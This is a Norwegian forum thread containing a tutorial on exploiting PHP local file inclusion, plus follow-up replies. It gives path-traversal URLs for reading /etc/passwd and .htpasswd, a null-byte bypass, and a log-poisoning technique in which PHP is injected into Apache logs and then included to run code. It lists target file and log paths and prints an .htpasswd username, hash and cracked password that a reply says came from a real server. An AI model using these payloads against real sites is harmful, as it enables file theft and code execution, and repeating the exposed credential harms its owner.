Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  5 1315
Les først om remote file inclusion om du er ukjent med metoden.

Hva er LFI?

Local file inclusion er en metode som hackere bruker for å lese innholdet i filer de ikke skal ha tilgang til.

Som nevnt i forrige guide, så handler dette om å utnytte inkluderingsscript sånn som dette:

Kode

<?php
$page = $_GET['page'];
include($page); 
?>
Hvorfor LFI forskjellig fra RFI?

LFI svakheter forekommer oftere enn RFI. Dette skyldes f.eks. at php direktivet "allow_url_include" er satt til false. Slik at data ikke kan lastes fra andre steder enn selve serveren.

Andre grunner kan være beskyttelsesmekanismer i php koden osv.

Enkelt eksempel

Kode

<?php
$page = $_GET['page'];
include($page); 
?>
Denne gangen funker det ikke å besøke:

index.php?page=http://angriper/kode.txt

Fordi allow_url_include er satt til false.

Hva gjør man så? Smak på følgende url:

index.php?page=../../../../../../../../etc/passwd

Det som vil skje her, er at /etc/passwd filen vil bli inkludert, og lesbar for angriperen. Dette skjer fordi php koden gjør som den er instruert til å gjøre. Og i linux og windows betyr ../ et steg opp i mappen. Ofte vet man ikke i hvilken mappe filer blir inkludert fra, men skriver man ../ mange nok ganger, slik:

index.php?page=../../../../../../../../../../../../../../../../etc/passwd

Blir uansett filen inkludert. Vet ikke hvorfor.

Hvilke filer er interessante?

Er ikke så kjent med linux og sensitive filer, men fant en liste på google:

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Poenget er at du forstår prinsippet. En annen aktuell fil som kan være interessant å inkludere er .htpasswd. Du har kanskje sett denne boksen før:

http://www.aerje.com/blog/passwordauth2.jpg

Brukernavn og passord ligger i .htpasswd filen. Så om du besøker:

index.php?page=../admin/.htpasswd

Vil du se noe slikt:

espen:$apr1$/BGpy/..$DDRY0HF5aBtTxAx25bKHH.

Har ikke peiling hvilken type hashing det er, men som alltid, kan de bruteforces. Passordet er "lol".

Hvordan omgå scripts som slenger på filendelser

De fleste script slenger på en filendelse slik:

Kode

<?php
$page = $_GET['page'];
include($page . ".php"); 
?>
Man omgår ofte denne sperren ved å bruke en metode som kalles for nullbyte hack(exploit elr noe slikt). Denne terminerer tekststrenger.

The "poison null byte" exploit takes advantage of how strings with a known length can contain null bytes and what happens when that string is converted for use with an API that uses null terminated strings. The end result is that by carefully placing a null byte in the string, the attacker is able to force the string to end at that point, even after the application has appended more characters to the string, like for example, a filename extension.
Vis hele sitatet...
Har ikke detaljkunnskap om hvorfor dette fungerer, men slik kan det utnyttes:

index.php?page=../admin/.htpasswd%00

%00 er urlencodingen for nullbyte \0. Denne vil inkludere .htpasswd, fordi filendelsen ".php" ikke slenges på. En forutsetning for at dette skal fungere er at magic_qoutes er slått av i php. Magic_qoutes filtrerer bort slike tegn.

Kommer ikke til å skrive %00 i resten av eksemplene.

Men finner ingenting nyttig!

Ja bortsett fra .htpasswd greiene kan man egentlig bare lese filer på serveren. Man får altså kun lest innhold i filer, og prøver man å inkludere andre php filer som f.eks. dbkobling.php, får du ikke ut databasepassord derfra. Fordi php koden tolkes, html genereres og sendes til nettleseren. Det blir egentlig det samme som å besøke selve filen.

Men som jeg skal vise, går det an å få kjørt php kode likevel.

Så hvordan hacke nettsiden?

Kanskje ikke så åpenbart for mange, men man må få lastet kode innpå serveren, og deretter inkludere denne.

Det fins mange måter å gjøre dette på. På mange nettcommynities fins det kanskje en filopplaster der du kan laste opp alle typer filer utenom php filer etc? Da laster du opp f.eks. kode.txt med din php kode, og inkluderer denne slik:

index.php?page=../user/klovn12/files/kode.txt

Og plutselig blir koden kjørt.

Dersom det kun er lov til å laste opp bilder, tar du bare et random bilde, åpner det i en ascii editor, og skriver inn php koden et sted. Dette fungerer fordi php kjører kun phpkode som er omkranset i <php> og </php>, resten blir bare spyttet ut igjen.

Dette med å hacke filopplastninger er forresten et helt eget emnet, og jeg har forenklet eksempelet her.

Det fins ingen muligheter for filopplastning

Hvordan i allverden får man lurt inn kode på serveren da? Det kan gjøres via http logger. access_log og error_log er to typer logfiler som apache genererer og ligger et sted på serveren. Så det som er mulig er å kontakte http serveren med disse headerene:

GET <?php FARLIG_KODE ?> HTTP/1.1
host: adressen her

Dette kan ikke gjøres via nettleser fordi den vil urlencode innholdet før det sendes avgårde. Men bruk f.eks. putty eller telnet.

Skjønte du ikke de siste 5 setninger må du lese deg opp på hvordan http protokoller fungerer.

Når du har lastet phpkoden inn i en loggfil må du følgelig finne denne loggfilen. Forskjellige versjoner av linux/webserver lagrer disse på forskjellige steder. Her er noen eksempler:

etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log

Men dette må bruteforces.

Når du har lastet inn kode, og funnet loggfilen, besøker du:

index.php?page=../../../../../../usr/local/apache/logs/access_log

Ofte er loggfilen uhyggelig svær(veldig mange megabytes), et triks er da å bruke http headers til å kun motta de siste 2000 bytes f.eks. Har ikke testet ut dette, men det skal visst fungere. Prinsipp eksempel:

Range: bytes=-2048

Noen sluttord til de som ikke skjønte noe av dette

Hacking kan ikke læres på en time eller to. Det tar mange hundre timer. Dersom du ikke skjønte denne guiden må du lese deg opp på http protokollen, samt å lære deg litt php.

Noen sluttord til resten

Det fins mer info om emnet på google. Og det fins mange andre måter å få lastet inn kode, og å få trikset inn php kode.

Flittig bruk av php's session filer f.eks.

Det går an å kjøre php kode uten å inkludere noen filer i det hele tatt. Men tar det senere en gang. Har du lyst til å lære deg dette grundig, ta et søk på "local file inclusion tutorial" på google. Les de 30 første resultater.

Ikke plag andre, vær grei og snill, forøvrig kan du gjøre hva du vil.

KILDER

http://www.google.no/search?hl=en&cl...earch&aq=f&oq=
Sitat av melktrollet Vis innlegg
Ofte vet man ikke i hvilken mappe filer blir inkludert fra, men skriver man ../ mange nok ganger, slik:

index.php?page=../../../../../../../../../../../../../../../../etc/passwd

Blir uansett filen inkludert. Vet ikke hvorfor.
Vis hele sitatet...
fordi etc ligger på root (begynner med /), og du ikke kan komme høyere opp enn root
Man omgår ofte denne sperren ved å bruke en metode som kalles for nullbyte hack(exploit elr noe slikt). Denne terminerer tekststrenger.
Vis hele sitatet...
Det er ikke en hack, det har med å gjøre hvordan tekststrenger blir lagt inn og tolket i minnet. Vanligvis, når man deklarerer verdityper har disse en gitt bytestørrelse og dermed en range verdiene kan ha. Antall forskjellige verdier er 2^x hvor x er antall bytes for den gitte datatype. Verdiene i seg selv er avhengig av om datatypen er signed eller ikke. Strenger er ikke en verditype og er dynamisk i så måte at den kan inneholde så mange bytes man måtte "orke" å trykke i den. Strenger er av denne grunn også allokert på heap (ikke stack, som verdityper). Ettersom dette er en datatype som er dynamisk og ikke har noen beskrivelse av hvor lang den er. Trengs det en terminering som forklarer hvor strengen slutter.

Det er der nullbyten kommer inn i bildet. Så derfor, hvis du slenger inn en nullbyte før ".php". vil den kutte ut endelsen som er forsøkt lagt inn.
Sist endret av m0b; 8. februar 2010 kl. 07:43.
▼ ... over en uke senere ... ▼
Flaut. Du har tydeligvis hentet fra serveren min.

Vil du se noe slikt:

espen:$apr1$/BGpy/..$DDRY0HF5aBtTxAx25bKHH.

Har ikke peiling hvilken type hashing det er, men som alltid, kan de bruteforces. Passordet er "lol".
Vis hele sitatet...
Nå må jeg hjem og lese på dette og tette hull :P
edit: MD5 btw
Sist endret av Ethernet; 17. februar 2010 kl. 09:41.
Hva mener du med hentet fra serveren din?
http://httpd.apache.org/docs/1.3/programs/htpasswd.html

Use Apache's modified MD5 algorithm for passwords.
Vis hele sitatet...